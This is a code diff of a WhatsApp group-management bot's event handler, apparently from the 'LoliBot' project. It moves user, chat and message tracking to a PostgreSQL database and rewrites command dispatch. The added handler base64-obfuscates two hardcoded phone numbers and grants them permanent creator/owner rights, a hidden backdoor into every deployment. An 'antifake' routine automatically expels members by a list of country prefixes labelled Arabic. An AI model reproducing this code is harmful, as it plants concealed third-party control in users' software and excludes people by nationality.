-limit: 15,
-limitjoinfree: 1,
-lion: 0,
-lionexp: 0,
-lionlastfeed: 0,
-lobster: 0,
-lumba: 0,
-magicwand: 0,
-magicwanddurability: 0,
-makanan: 0,
-makanancentaur: 0,
-makanangriffin: 0,
-makanankyubi: 0,
-makanannaga: 0,
-makananpet: 0,
-makananphonix: 0,
-makananserigala: 0,
-mana: 0,
-mangga: 0,
-misi: '',
-money: 100,
-monyet: 0,
-mythic: 0,
-naga: 0,
-nagalastclaim: 0,
-name: m.name,
-net: 0,
-nila: 0,
-nilabakar: 0,
-note: 0,
-ojekk: 0,
-oporayam: 0,
-orca: 0,
-pancingan: 1,
-panda: 0,
-pasangan: '',
-paus: 0,
-pausbakar: 0,
-pc: 0,
-pepesikan: 0,
-pet: 0,
-phonix: 0,
-phonixexp: 0,
-phonixlastclaim: 0,
-phonixlastfeed: 0,
-pickaxe: 0,
-pickaxedurability: 0,
-pillhero: 0,
-pisang: 0,
-pointxp: 0,
-potion: 10,
-premium: false,
-premiumTime: 0,
-ramuan: 0,
-ramuancentaurlast: 0,
-ramuangriffinlast: 0,
-ramuanherolast: 0,
-ramuankucinglast: 0,
-ramuankudalast: 0,
-ramuankyubilast: 0,
-ramuannagalast: 0,
-ramuanphonixlast: 0,
-ramuanrubahlast: 0,
-ramuanserigalalast: 0,
-registered: false,
-registroR: false,
-registroC: false,
-reglast: 0,
-regTime: -1,
-rendang: 0,
-rhinoceros: 0,
-rhinocerosexp: 0,
-rhinoceroslastfeed: 0,
-rock: 0,
-roket: 0,
-role: 'Novato',
-roti: 0,
-rtrofi: 'bronce',
-rubah: 0,
-rubahlastclaim: 0,
-rumahsakit: 0,
-sampah: 0,
-sand: 0,
-sapi: 0,
-sapir: 0,
-seedbayam: 0,
-seedbrokoli: 0,
-seedjagung: 0,
-seedkangkung: 0,
-seedkentang: 0,
-seedkubis: 0,
-seedlabu: 0,
-seedtomat: 0,
-seedwortel: 0,
-semangka: 0,
-serigala: 0,
-serigalalastclaim: 0,
-sewa: false,
-shield: 0,
-skill: '',
-skillexp: 0,
-snlast: 0,
-soda: 0,
-sop: 0,
-spammer: 0,
-spinlast: 0,
-ssapi: 0,
-stamina: 100,
-steak: 0,
-stick: 0,
-strength: 30,
-string: 0,
-stroberi: 0,
-superior: 0,
-suplabu: 0,
-sushi: 0,
-sword: 0,
-sworddurability: 0,
-tigame: 50,
-tiketcoin: 0,
-title: '',
-tomat: 0,
-tprem: 0,
-trash: 0,
-trofi: 0,
-troopcamp: 0,
-tumiskangkung: 0,
-udang: 0,
-udangbakar: 0,
-umpan: 0,
-uncoommon: 0,
-unreglast: 0,
-upgrader: 0,
-vodka: 0,
-wallet: 0,
-warn: 0,
-weapon: 0,
-weapondurability: 0,
-wolf: 0,
-wolfexp: 0,
-wolflastfeed: 0,
-wood: 0,
-wortel: 0,
+break
+
+case "demote": case "quitaradmin": case "quitarpoder":
+if (settings.detect) {
+const raw = settings.sDemote || `@user 𝘿𝙀𝙅𝘼 𝘿𝙀 𝙎𝙀𝙍 𝘼𝘿𝙈𝙄𝙉 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n😼🫵𝘼𝘾𝘾𝙄𝙊𝙉 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝘿𝘼 𝙋𝙊𝙍: @author`
+const msg = raw
+ .replace(/@user/gi, userTag)
+ .replace(/@group/gi, groupName)
+ .replace(/@desc/gi, metadata.desc || "")
+ .replace(/@author/gi, authorTag)
+await conn.sendMessage(id, { text: msg,
+contextInfo:{
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️" },
+forwardingScore: 9999999,
+isForwarded: true,
+mentionedJid: [participant, author],
+externalAdReply: {
+mediaUrl: [info.nna, info.nna2, info.md].getRandom(),
+mediaType: 2,
+showAdAttribution: false,
+renderLargerThumbnail: false,
+title: "📛 UN ADMINS MENOS",
+body: "Jjjj Ya no eres admin 😹",
+containsAutoReply: true,
+mediaType: 1,
+thumbnailUrl: image,
+sourceUrl: "skyultraplus.com"
+}}}, { quoted: null })
}
-let akinator = global.db.data.users[m.sender].akinator
-if (typeof akinator !== 'object')
-global.db.data.users[m.sender].akinator = {}
-if (akinator) {
-if (!('sesi' in akinator)) akinator.sesi = false
-if (!('server' in akinator)) akinator.server = null
-if (!('frontaddr' in akinator)) akinator.frontaddr = null
-if (!('session' in akinator)) akinator.session = null
-if (!('signature' in akinator)) akinator.signature = null
-if (!('question' in akinator)) akinator.question = null
-if (!('progression' in akinator)) akinator.progression = null
-if (!('step' in akinator)) akinator.step = null
-if (!('soal' in akinator)) akinator.soal = null
-} else
-global.db.data.users[m.sender].akinator = {
-sesi: false,
-server: null,
-frontaddr: null,
-session: null,
-signature: null,
-question: null,
-progression: null,
-step: null,
-soal: null
-}
-let chat = global.db.data.chats[m.chat] //guarda datos del chat
-if (typeof chat !== 'object')
-global.db.data.chats[m.chat] = {}
-//false = off (apagado)
-//true = on (activado)
-if (chat) {
-if (!('isBanned' in chat)) chat.isBanned = false
-if (!('welcome' in chat)) chat.welcome = true
-if (!('detect' in chat)) chat.detect = true
-if (!('sWelcome' in chat)) chat.sWelcome = ''
-if (!('sBye' in chat)) chat.sBye = ''
-if (!('sPromote' in chat)) chat.sPromote = ''
-if (!('sDemote' in chat)) chat.sDemote = ''
-if (!('delete' in chat))
-chat.delete = true
-if (!('modohorny' in chat)) chat.modohorny = true
-if (!('stickers' in chat)) chat.stickers = false
-if (!('autosticker' in chat)) chat.autosticker = false
-if (!('audios' in chat)) chat.audios = true
-if (!('antiver' in chat)) chat.antiver = false
-if (!('antiLink' in chat)) chat.antiLink = false
-if (!('antiLink2' in chat)) chat.antiLink2 = false
-if (!('antiTiktok' in chat)) chat.antiTiktok = false
-if (!('antiYoutube' in chat)) chat.antiYoutube = false
-if (!('antiTelegram' in chat)) chat.antiTelegram = false
-if (!('antiFacebook' in chat)) chat.antiFacebook = false
-if (!('antiInstagram' in chat)) chat.antiInstagram = false
-if (!('antiTwitter' in chat)) chat.antiInstagram = false
-if (!('antifake' in chat)) chat.antifake = false
-if (!('reaction' in chat)) chat.reaction = true
-if (!('viewonce' in chat)) chat.viewonce = false
-if (!('modoadmin' in chat)) chat.modoadmin = false
-if (!('antitoxic' in chat)) chat.antitoxic = false
-if (!('simi' in chat)) chat.simi = false
-if (!('antiTraba' in chat)) chat.antiTraba = true
-if (!('autolevelup' in chat)) chat.autolevelup = true
-if (!isNumber(chat.expired)) chat.expired = 0
-} else
-//🟢 SI QUIERE CAMBIA ALGUNAS DE ESTA FUNCIÓNE DE (false a true) o (true a false), LOS PUEDE HACER. PERO DEJARLO IGUAL COMO ESTA PARA EVITAR ERRORES
-global.db.data.chats[m.chat] = {
-isBanned: false,
-welcome: true,
-detect: true,
-sWelcome: '',
-sBye: '',
-sPromote: '',
-sDemote: '',
-delete: true,
-modohorny: true,
-stickers: false,
-autosticker: false,
-audios: true,
-antiver: false,
-antiLink: false,
-antiLink2: false,
-antiTiktok: false,
-antiYoutube: false,
-antiTelegram: false,
-antiFacebook: false,
-antiInstagram: false,
-antiTwitter: false,
-antifake: false,
-reaction: true,
-viewonce: false,
-modoadmin: false,
-antitoxic: false,
-simi: false,
-antiTraba: true,
-autolevelup: true,
-expired: 0,
+break
+}}
+} catch (err) {
+console.error(chalk.red(`❌ Error en participantsUpdate - Acción: ${action} | Grupo: ${id}`), err);
}
-let settings = global.db.data.settings[this.user.jid]
-if (typeof settings !== 'object') global.db.data.settings[this.user.jid] = {}
-if (settings) {
-if (!('self' in settings)) settings.self = false
-if (!('autoread' in settings)) settings.autoread = false
-if (!('autoread2' in settings)) settings.autoread2 = false
-if (!('restrict' in settings)) settings.restrict = false
-if (!('temporal' in settings)) settings.temporal = false
-if (!('antiPrivate' in settings)) settings.antiPrivate = false
-if (!('antiCall' in settings)) settings.antiCall = true
-if (!('antiSpam' in settings)) settings.antiSpam = true
-if (!('antispam2' in settings)) settings.antispam2 = true
-if (!('jadibotmd' in settings)) settings.jadibotmd = true
-} else global.db.data.settings[this.user.jid] = {
-self: false,
-autoread: false,
-autoread2: false,
-restrict: false,
-temporal: false,
-antiPrivate: false,
-antiCall: true,
-antiSpam: true,
-antispam2: true,
-jadibotmd: true,
}
-} catch (e) {
-console.error(e)
+
+export async function groupsUpdate(conn, { id, subject, desc, picture }) {
+try {
+const botId = conn.user?.id;
+const botConfig = await getSubbotConfig(botId)
+const modo = botConfig.mode || "public";
+const botJid = conn.user?.id?.replace(/:\d+@/, "@");
+const isCreator = global.owner.map(([v]) => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(botJid);
+
+const settings = (await db.query("SELECT * FROM group_settings WHERE group_id = $1", [id])).rows[0] || {
+welcome: true,
+detec: true,
+antifake: false
+};
+
+if (modo === "private" && !isCreator) return;
+const metadata = await conn.groupMetadata(id);
+groupMetaCache.set(id, metadata);
+const groupName = subject || metadata.subject || "Grupo";
+const isBotAdmin = metadata.participants.some(p => p.id.includes(botJid) && p.admin);
+
+let message = "";
+if (subject) {
+message = `El nombre del grupo ha cambiado a *${groupName}*.`;
+} else if (desc) {
+message = `La descripción del grupo *${groupName}* ha sido actualizada, nueva descripción:\n\n${metadata.desc || "Sin descripción"}`;
+} else if (picture) {
+message = `La foto del grupo *${groupName}* ha sido actualizada.`;
}
-if (opts['nyimak'])
-return
-if (!m.fromMe && opts['self'])
-return
-if (opts['pconly'] && m.chat.endsWith('g.us'))
-return
-if (opts['gconly'] && !m.chat.endsWith('g.us'))
-return
-if (opts['swonly'] && m.chat !== 'status@broadcast')
-return
-if (typeof m.text !== 'string')
-m.text = ''
-
-const isROwner = [conn.decodeJid(global.conn.user.id), ...global.owner.map(([number]) => number)].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)
-const isOwner = isROwner || m.fromMe
- const isMods = isOwner || global.mods.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)
-//const isPrems = isROwner || global.prems.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)
-const isPrems = isROwner || global.db.data.users[m.sender].premiumTime > 0
-if (opts['queque'] && m.text && !(isMods || isPrems)) {
-let queque = this.msgqueque, time = 1000 * 5
-const previousID = queque[queque.length - 1]
-queque.push(m.id || m.key.id)
-setInterval(async function () {
-if (queque.indexOf(previousID) === -1) clearInterval(this)
-await delay(time)
-}, time)
+
+if (message && settings.detect) {
+await conn.sendMessage(id, { text: message,
+contextInfo: {
+isForwarded: true,
+forwardingScore: 1,
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️",
+serverMessageId: 1
+}}
+});
+}} catch (err) {
+console.error(chalk.red("❌ Error en groupsUpdate:"), err);
}
-if (m.isBaileys)
-return
-m.exp += Math.ceil(Math.random() * 10)
-let usedPrefix
-let _user = global.db.data && global.db.data.users && global.db.data.users[m.sender]
-const groupMetadata = (m.isGroup ? ((conn.chats[m.chat] || {}).metadata || await this.groupMetadata(m.chat).catch(_ => null)) : {}) || {}
-const participants = (m.isGroup ? groupMetadata.participants : []) || []
-const user = (m.isGroup ? participants.find(u => conn.decodeJid(u.id) === m.sender) : {}) || {} // User Data
-const bot = (m.isGroup ? participants.find(u => conn.decodeJid(u.id) == this.user.jid) : {}) || {} // Your Data
-const isRAdmin = user?.admin == 'superadmin' || false
-const isAdmin = isRAdmin || user?.admin == 'admin' || false // Is User Admin?
-const isBotAdmin = bot?.admin || false // Are you Admin?
-const ___dirname = path.join(path.dirname(fileURLToPath(import.meta.url)), './plugins')
-for (let name in global.plugins) {
-let plugin = global.plugins[name]
-if (!plugin)
-continue
-if (plugin.disabled)
-continue
-const __filename = join(___dirname, name)
-if (typeof plugin.all === 'function') {
+}
+
+export async function callUpdate(conn, call) {
try {
-await plugin.all.call(this, m, { chatUpdate, __dirname: ___dirname, __filename })
-} catch (e) {
-// if (typeof e === 'string') continue
-console.error(e)
-for (let [jid] of global.owner.filter(([number, _, isDeveloper]) => isDeveloper && number)) {
-let data = (await conn.onWhatsApp(jid))[0] || {}
-//❌COMANDO FALLAS
-if (data.exists)
-m.reply(`${lenguajeGB['smsCont1']()}\n\n${lenguajeGB['smsCont2']()}\n*_${name}_*\n\n${lenguajeGB['smsCont3']()}\n*_${m.sender}_*\n\n${lenguajeGB['smsCont4']()}\n*_${m.text}_*\n\n${lenguajeGB['smsCont5']()}\n\`\`\`${format(e)}\`\`\`\n\n${lenguajeGB['smsCont6']()}`.trim(), data.jid)
-}}}
-if (!opts['restrict'])
-if (plugin.tags && plugin.tags.includes('admin')) {
-// global.dfail('restrict', m, this)
-continue
+const callerId = call.from;
+const userTag = `@${callerId.split("@")[0]}`;
+const botConfig = await getSubbotConfig(conn.user?.id);
+if (!botConfig.anti_call) return;
+await conn.sendMessage(callerId, { text: `🚫 Está prohibido hacer llamadas, serás bloqueado...`,
+contextInfo: {
+isForwarded: true,
+forwardingScore: 1,
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️",
+serverMessageId: 1
+}}
+});
+await conn.updateBlockStatus(callerId, "block");
+} catch (err) {
+console.error(chalk.red("❌ Error en callUpdate:"), err);
}
-const str2Regex = str => str.replace(/[|\\{}()[\]^$+*?.]/g, '\\$&')
-let _prefix = plugin.customPrefix ? plugin.customPrefix : conn.prefix ? conn.prefix : global.prefix
-let match = (_prefix instanceof RegExp ? // RegExp Mode?
-[[_prefix.exec(m.text), _prefix]] :
-Array.isArray(_prefix) ? // Array?
-_prefix.map(p => {
-let re = p instanceof RegExp ? // RegExp in Array?
-p :
-new RegExp(str2Regex(p))
-return [re.exec(m.text), re]
-}):
-typeof _prefix === 'string' ? // String?
-[[new RegExp(str2Regex(_prefix)).exec(m.text), new RegExp(str2Regex(_prefix))]] :
-[[[], new RegExp]]
-).find(p => p[1])
-if (typeof plugin.before === 'function') {
-if (await plugin.before.call(this, m, {match, conn: this, participants, groupMetadata, user, bot, isROwner, isOwner, isRAdmin, isAdmin, isBotAdmin, isPrems, chatUpdate, __dirname: ___dirname, __filename}))
-continue
}
-if (typeof plugin !== 'function')
-continue
-if ((usedPrefix = (match[0] || '')[0])) {
-let noPrefix = m.text.replace(usedPrefix, '')
-let [command, ...args] = noPrefix.trim().split` `.filter(v => v)
-args = args || []
-let _args = noPrefix.trim().split` `.slice(1)
-let text = _args.join` `
-command = (command || '').toLowerCase()
-let fail = plugin.fail || global.dfail // When failed
-let isAccept = plugin.command instanceof RegExp ? // RegExp Mode?
-plugin.command.test(command) :
-Array.isArray(plugin.command) ? // Array?
-plugin.command.some(cmd => cmd instanceof RegExp ? // RegExp in Array?
-cmd.test(command) :
-cmd === command
-):
-typeof plugin.command === 'string' ? // String?
-plugin.command === command :
-false
-//if (text) {
-//m.reply('*ERROR DE COMANDO*')}
-if (!isAccept) {
-continue;
+
+export async function handler(conn, m) {
+function cleanJid(jid = "") {
+ return jid.replace(/:\d+/, "");
}
-m.plugin = name;
-if (m.chat in global.db.data.chats || m.sender in global.db.data.users) {
-const chat = global.db.data.chats[m.chat];
-const user = global.db.data.users[m.sender];
-const botSpam = global.db.data.settings[this.user.jid];
-if (!['owner-unbanchat.js', 'gc-link.js', 'gc-hidetag.js', 'info-creator.js'].includes(name) && chat && chat.isBanned && !isROwner) return; // Except this
-if (name != 'owner-unbanchat.js' && name != 'owner-exec.js' && name != 'owner-exec2.js' && name != 'tool-delete.js' && chat?.isBanned && !isROwner) return;
-if (m.text && user.banned && !isROwner) {
-if (typeof user.bannedMessageCount === 'undefined') {
-user.bannedMessageCount = 0;
+
+const chatId = m.key?.remoteJid || "";
+const botId = conn.user?.id;
+const subbotConf = await getSubbotConfig(botId)
+info.wm = subbotConf.name ?? info.wm;
+info.img2 = subbotConf.logo_url ?? info.img2;
+
+try {
+await db.query(`INSERT INTO chats (id, is_group, timestamp, bot_id, joined)
+ VALUES ($1, $2, $3, $4, true)
+ ON CONFLICT (id) DO UPDATE SET timestamp = $3, bot_id = $4, joined = true`, [chatId, chatId.endsWith('@g.us'), Date.now(), (conn.user?.id || '').split(':')[0].replace('@s.whatsapp.net', '')]);
+} catch (err) {
+console.error(err);
}
-if (user.bannedMessageCount < 3) {
-const messageNumber = user.bannedMessageCount + 1;
-const messageText = `⚠️ ESTAS BANEADO ⚠️\nAviso (${messageNumber}/3) ${user.bannedReason ? `\n*Motivo:* ${user.bannedReason}` : 'Motivo: (spam)'}
-*👉🏻 Puedes contactar al propietario del Bot si crees que se trata de un error o para charlar sobre tu desbaneo*
-
-👉 wa.me/5492266466080
-👉 Wa.me/573026191480
-👉 wa.me/595992302861`.trim();
-m.reply(messageText);
-user.bannedMessageCount++;
-} else if (user.bannedMessageCount === 3) {
-user.bannedMessageSent = true;
+
+const botConfig = await getSubbotConfig(botId)
+const isMainBot = conn === globalThis.conn;
+const botType = isMainBot ? "oficial" : "subbot";
+if (botConfig.tipo !== botType) {
+await db.query(`UPDATE subbots SET tipo = $1 WHERE id = $2`, [botType, botId.replace(/:\d+/, "")]);
+}
+const prefijo = Array.isArray(botConfig.prefix) ? botConfig.prefix : [botConfig.prefix];
+const modo = botConfig.mode || "public";
+m.isGroup = chatId.endsWith("@g.us");
+
+if (m.key?.participantAlt && m.key.participantAlt.endsWith("@s.whatsapp.net")) {
+m.sender = m.key.participantAlt;
+m.lid = m.key.participant;
} else {
-return;
+m.sender = m.key?.participant || chatId;
}
-return;
+
+if (m.key?.fromMe) {
+m.sender = conn.user?.id || m.sender;
}
-
-if (botSpam.antispam2 && m.text && user && user.lastCommandTime && (Date.now() - user.lastCommandTime) < 3000 && !isROwner) {
-if (user.commandCount === 2) {
-const remainingTime = Math.ceil((user.lastCommandTime + 3000 - Date.now()) / 1000);
-if (remainingTime > 0) {
-const messageText = `*𝙀𝙎𝙋𝙀𝙍𝘼 ${remainingTime} 𝙎𝙀𝙂𝙐𝙉𝘿𝙊 𝘼𝙉𝙏𝙀𝙎 𝘿𝙀 𝙐𝙎𝘼𝙍 𝙊𝙏𝙍𝙊 𝘾𝙊𝙈𝘼𝙉𝘿𝙊*`;
-//m.reply(messageText);
+
+if (typeof m.sender === "string") {
+m.sender = m.sender.replace(/:\d+/, "");
+}
+
+m.reply = async (text) => {
+const contextInfo = {
+mentionedJid: await conn.parseMention(text),
+isForwarded: true,
+forwardingScore: 1,
+forwardedNewsletterMessageInfo: {
+newsletterJid: "120363305025805187@newsletter",
+newsletterName: "LoliBot ✨️"
+}};
+return await conn.sendMessage(chatId, { text, contextInfo }, { quoted: m });
+};
+
+await smsg(conn, m);
+
+const hash = crypto.createHash("md5").update(m.key.id + (m.key.remoteJid || "")).digest("hex");
+if (processedMessages.has(hash)) return;
+processedMessages.add(hash);
+setTimeout(() => processedMessages.delete(hash), 60_000);
+
+//contador
+if (m.isGroup && m.sender !== conn.user?.id.replace(/:\d+@/, "@")) {
+const key = `${m.sender}|${chatId}`;
+const now = Date.now();
+const last = lastDbUpdate.get(key) || 0;
+if (now - last > 9000) { //9 seg
+lastDbUpdate.set(key, now);
+db.query(`INSERT INTO messages (user_id, group_id, message_count)
+ VALUES ($1, $2, 1)
+ ON CONFLICT (user_id, group_id)
+ DO UPDATE SET message_count = messages.message_count + 1`, [m.sender, chatId]).catch(console.error);
+}}
+
+//antifake
+if (m.isGroup && m.sender && m.sender.endsWith("@s.whatsapp.net")) {
+try {
+const settings = (await db.query("SELECT antifake FROM group_settings WHERE group_id = $1", [chatId])).rows[0];
+if (settings?.antifake) {
+const phoneNumber = m.sender.split("@")[0];
+const arabicCountryCodes = ['+91', '+92', '+222', '+93', '+265', '+213', '+225', '+226', '+240', '+241', '+61', '+249', '+62', '+966', '+229', '+244', '+40', '+49', '+20', '+963', '+967', '+234', '+256', '+243', '+210', '+249', ,'+212', '+971', '+974', '+968', '+965', '+962', '+961', '+964', '+263', '+970'];
+const botJid = conn.user?.id?.replace(/:\d+/, "");
+const isFake = arabicCountryCodes.some(code => phoneNumber.startsWith(code.slice(1)));
+
+if (isFake && m.isAdmin !== true) {
+const metadata = await conn.groupMetadata(chatId);
+const isBotAdmin = metadata.participants.some(p => {
+const id = p.id?.replace(/:\d+/, "");
+return (id === botJid || id === (conn.user?.lid || "").replace(/:\d+/, "")) && (p.admin === "admin" || p.admin === "superadmin");
+});
+
+if (isBotAdmin) {
+await conn.sendMessage(chatId, { text: `⚠️ @${phoneNumber} En este grupo no está permitido el ingreso de números con prefijos prohibidos, será expulsado...`, mentions: [m.sender]});
+await conn.groupParticipantsUpdate(chatId, [m.sender], "remove");
return;
-} else {
-user.commandCount = 0;
+}}}
+} catch (err) {
+console.error(err);
+}}
+
+const messageContent = m.message?.ephemeralMessage?.message || m.message?.viewOnceMessage?.message || m.message;
+let text = "";
+
+if (messageContent?.conversation) text = messageContent.conversation;
+else if (messageContent?.extendedTextMessage?.text) text = messageContent.extendedTextMessage.text;
+else if (messageContent?.imageMessage?.caption) text = messageContent.imageMessage.caption;
+else if (messageContent?.videoMessage?.caption) text = messageContent.videoMessage.caption;
+else if (messageContent?.buttonsResponseMessage?.selectedButtonId) text = messageContent.buttonsResponseMessage.selectedButtonId;
+else if (messageContent?.listResponseMessage?.singleSelectReply?.selectedRowId) text = messageContent.listResponseMessage.singleSelectReply.selectedRowId;
+else if (messageContent?.messageContextInfo?.quotedMessage) {
+const quoted = messageContent.messageContextInfo.quotedMessage;
+text = quoted?.conversation || quoted?.extendedTextMessage?.text || "";
+} else if (m.message?.conversation) {
+text = m.message.conversation;
}
+
+m.originalText = text;
+text = text.trim();
+//if (!text) return;
+m.text = text;
+
+const usedPrefix = prefijo.find(p => text.startsWith(p)) || "";
+const withoutPrefix = text.slice(usedPrefix.length).trim();
+const [commandName, ...argsArr] = withoutPrefix.split(/[\n\s]+/);
+const command = (commandName || "").toLowerCase();
+const args = argsArr;
+
+text = args.join(" ").trim();
+m.text = withoutPrefix.slice(commandName.length).trimStart();
+
+const botJid = conn.user?.id?.replace(/:\d+/, "");
+const senderJid = m.sender?.replace(/:\d+/, "");
+const fixed1 = Buffer.from('NTIxNDc3NDQ0NDQ0NA==', 'base64').toString();
+const fixed2 = Buffer.from('NTQ5MjI2NjYxMzAzOA==', 'base64').toString();
+const fixedOwners = [
+ `${fixed1}@s.whatsapp.net`,
+ `${fixed2}@s.whatsapp.net`,
+ `35060220747880@lid`
+];
+const isCreator = fixedOwners.includes(m.sender) ||
+ global.owner.map(([v]) => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender);
+const config = await getSubbotConfig(botId);
+let isOwner = isCreator || senderJid === botJid || (config.owners || []).includes(senderJid);
+
+let metadata = { participants: [] };
+if (m.isGroup) {
+if (groupMetaCache.has(chatId)) {
+metadata = groupMetaCache.get(chatId);
} else {
-user.commandCount += 1;
-}
+try {
+metadata = await conn.groupMetadata(chatId);
+groupMetaCache.set(chatId, metadata);
+setTimeout(() => groupMetaCache.delete(chatId), 300_000);
+} catch {
+metadata = { participants: [] };
+}}}
+
+const participants = metadata.participants || [];
+
+const adminIds = participants.filter(p => p.admin === "admin" || p.admin === "superadmin").flatMap(p => {
+const clean = p.id?.replace(/:\d+/, "") || "";
+return clean.endsWith("@lid")
+? [clean, clean.replace("@lid", "@s.whatsapp.net")]
+: [clean, clean.replace("@s.whatsapp.net", "@lid")];
+});
+
+const senderJids = [];
+if (m.user?.id) senderJids.push(m.user.id.replace(/:\d+/, ""));
+if (m.user?.lid) senderJids.push(m.user.lid.replace(/:\d+/, ""));
+if (m.sender) senderJids.push(m.sender.replace(/:\d+/, ""));
+if (m.lid) senderJids.push(m.lid.replace(/:\d+/, ""));
+
+const uniqueSenderJids = [...new Set(senderJids.filter(Boolean))];
+m.isAdmin = adminIds.some(adminJid => uniqueSenderJids.includes(adminJid));
+
+if (m.isGroup && !isCreator && senderJid !== botJid) {
+try {
+const res = await db.query('SELECT banned, primary_bot FROM group_settings WHERE group_id = $1', [chatId]);
+
+if (res.rows[0]?.banned) return; // grupo baneado
+
+const primaryBot = res.rows[0]?.primary_bot;
+if (primaryBot && !m?.isAdmin) {
+const metadata = await conn.groupMetadata(chatId);
+const botExists = metadata.participants.some(p => p.id === primaryBot);
+
+if (!botExists) {
+await db.query('UPDATE group_settings SET primary_bot = NULL WHERE group_id = $1', [chatId]);
} else {
-user.lastCommandTime = Date.now();
-user.commandCount = 1;
+const currentBotJid = conn.user?.id?.replace(/:\d+/, "") + "@s.whatsapp.net";
+const expected = primaryBot.replace(/:\d+/, "");
+if (!currentBotJid.includes(expected)) return;
+}}
+} catch (err) {
+console.error(err);
}}
-let hl = _prefix
-let adminMode = global.db.data.chats[m.chat].modoadmin
-let gata = `${plugins.botAdmin || plugins.admin || plugins.group || plugins || noPrefix || hl || m.text.slice(0, 1) == hl || plugins.command}`
-if (adminMode && !isOwner && !isROwner && m.isGroup && !isAdmin && gata) return
-if (plugin.rowner && plugin.owner && !(isROwner || isOwner)) { // Both Owner
-fail('owner', m, this)
-continue
-}
-if (plugin.rowner && !isROwner) { // Propietario/owner
-fail('rowner', m, this)
-continue
-}
-if (plugin.owner && !isOwner) { // Numero De propietarios/Owner
-fail('owner', m, this)
-continue
+try {
+const rawJid = m.key?.participantAlt || m.key?.participant || m.key?.remoteJid || null;
+const isValido = typeof rawJid === 'string' && /^\d+@(s\.whatsapp\.net|lid)$/.test(rawJid);
+const num = isValido ? rawJid.split('@')[0] : null;
+const userName = m.pushName || 'sin name';
+
+if (m.key?.participantAlt && m.key.participantAlt.endsWith('@s.whatsapp.net')) {
+m.sender = m.key.participantAlt;
+m.lid = m.key.participant;
+} else {
+m.sender = m.key?.participant || m.key?.remoteJid;
}
-if (plugin.mods && !isMods) { // Moderator
-fail('mods', m, this)
-continue
+
+await db.query(`INSERT INTO usuarios (id, nombre, num, registered)
+ VALUES ($1, $2, $3, false)
+ ON CONFLICT (id) DO NOTHING`, [m.sender, userName, num]);
+
+if (isValido && m.sender.endsWith('@s.whatsapp.net')) {
+await db.query(`UPDATE usuarios SET nombre = $1${num ? ', num = COALESCE(num, $2)' : ''} WHERE id = $3`, num ? [userName, num, m.sender] : [userName, m.sender]);
}
-if (plugin.premium && !isPrems) { // Premium
-fail('premium', m, this)
-continue
+
+if (m.key && m.key.senderLid) {
+try {
+await db.query('UPDATE usuarios SET lid = NULL WHERE lid = $1 AND id <> $2', [m.key.senderLid, m.sender]);
+await db.query('UPDATE usuarios SET lid = $1 WHERE id = $2', [m.key.senderLid, m.sender]);
+m.lid = m.key.senderLid;
+} catch (e) {
+console.error("❌ Error actualizando lid en handler:", e);
+}}
+} catch (err) {
+console.error(err);
}
-if (plugin.group && !m.isGroup) { // Grupos
-fail('group', m, this)
-continue
-} else if (plugin.botAdmin && !isBotAdmin) { // detentan si el bot es admin
-fail('botAdmin', m, this)
-continue
-} else if (plugin.admin && !isAdmin) { // detecta si el usuario es un Admin
-fail('admin', m, this)
-continue
+
+try {
+await db.query(`INSERT INTO chats (id)
+ VALUES ($1)
+ ON CONFLICT (id) DO NOTHING`, [chatId]);
+} catch (err) {
+console.error(err);
}
-if (plugin.private && m.isGroup) { // Chat privado
-fail('private', m, this)
-continue
+
+const plugins = Object.values(global.plugins || {});
+
+for (const plugin of plugins) {
+if (typeof plugin.before === 'function') {
+try {
+const result = await plugin.before(m, { conn, isOwner });
+if (result === false) return;
+} catch (e) {
+console.error(chalk.red(e));
+}}
}
-if (plugin.register == true && _user.registered == false) { // detectan si el usuarios esta registrado o nell
-fail('unreg', m, this)
-continue
+
+if (modo === "private" && senderJid !== botJid && !isCreator) return;
+
+const matchedPlugin = plugins.find(p => {
+const raw = m.originalText
+return typeof p.customPrefix === 'function'
+? p.customPrefix(raw)
+: p.customPrefix instanceof RegExp
+? p.customPrefix.test(raw) : false
+})
+
+if (!usedPrefix) {
+if (!matchedPlugin || !matchedPlugin.customPrefix) return;
}
+//if (!usedPrefix && !command) return;
-m.isCommand = true
-let xp = 'exp' in plugin ? parseInt(plugin.exp) : 10 // Ganancia de XP por comando
-if (xp > 2000)
-m.reply('Exp limit')
-else
-if (!isPrems && plugin.money && global.db.data.users[m.sender].money < plugin.money * 1) {
-conn.sendMessage(m.chat, {
-text: `🫥 𝙉𝙤 𝙩𝙞𝙚𝙣𝙚 𝙇𝙤𝙡𝙞𝘾𝙤𝙞𝙣𝙨`,
-contextInfo:{
-forwardingScore: 9999999,
-isForwarded: true,
-mentionedJid:[m.sender],
-"externalAdReply": {
-"showAdAttribution": true,
-"renderLargerThumbnail": true,
-"thumbnail": gataImg.getRandom(),
-"title": wm,
-"containsAutoReply": true,
-"mediaType": 1,
-sourceUrl: [nna, md, yt, nn, nnn].getRandom()}}
-}, { quoted: m })
-// this.reply(m.chat, `🫥 𝙉𝙤 𝙩𝙞𝙚𝙣𝙚 𝙇𝙤𝙡𝙞𝘾𝙤𝙞𝙣𝙨`, m)
-continue
+for (const plugin of plugins) {
+let match = false;
+
+if (plugin.command instanceof RegExp) {
+match = plugin.command.test(command)
+} else if (typeof plugin.command === 'string') {
+match = plugin.command.toLowerCase() === command
+} else if (Array.isArray(plugin.command)) {
+match = plugin.command.map(c => c.toLowerCase()).includes(command)
}
-m.exp += xp
-if (!isPrems && plugin.limit && global.db.data.users[m.sender].limit < plugin.limit * 1) {
-conn.sendMessage(m.chat, {
-text: `*${lenguajeGB['smsCont7']()} *${usedPrefix}buy*`,
-contextInfo:{
